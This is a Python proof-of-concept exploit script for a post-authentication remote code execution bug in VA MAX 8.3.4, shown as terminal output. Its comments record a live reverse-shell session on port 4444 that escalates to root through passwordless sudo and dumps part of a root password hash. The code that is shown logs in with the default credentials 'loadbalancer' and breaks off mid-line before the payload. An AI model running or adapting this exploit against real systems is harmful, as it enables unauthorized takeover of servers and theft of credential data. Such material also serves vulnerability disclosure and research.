root@nippur:/home/c/src/nippur# cat vamax3.py #!/usr/bin/env python # quick poc for postauth rce bug in va max 8.3.4 # # more: # https://code610.blogspot.com # # 10.02.2019 # # p.s. # # listening on [any] 4444 ... # 192.168.1.126: inverse host lookup failed: Unknown host # connect to [192.168.1.160] from (UNKNOWN) [192.168.1.126] 58894 # sh: no job control in this shell # sh-4.1$ id # id # uid=48(apache) gid=48(apache) groups=48(apache),10(wheel),18(dialout) # sh-4.1$ cat /etc/shadow # cat /etc/shadow # cat: /etc/shadow: Permission denied # sh-4.1$ # (...) # sh-4.1$ sudo -l # sudo -l # Matching Defaults entries for apache on this host: # syslog_goodpri=debug, env_reset, # secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin # # User apache may run the following commands on this host: # (ALL) NOPASSWD: ALL # sh-4.1$ sudo su # sudo su # id # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) # head -n1 /etc/shadow # root:$6$dNu030j/gSf.5(...)4IlAEGpzHv0:15392:0:99999:7::: # # # o/ import datetime, time import requests from requests.auth import HTTPBasicAuth # defines dateTime = datetime.datetime.now() timestamp = int(time.mktime(dateTime.timetuple())) remote_host = 'http://192.168.1.126:9080' our_user = 'loadbalancer' our_passwd = 'loadbalancer' # go sess = requests.session() logme = sess.post(remote_host, auth=HTTPBasicAuth(our_user, our_passwd)) logmeresp = logme.text print '\n\tsmall poc for VA MAX 8.3.4\n' # try to log in if '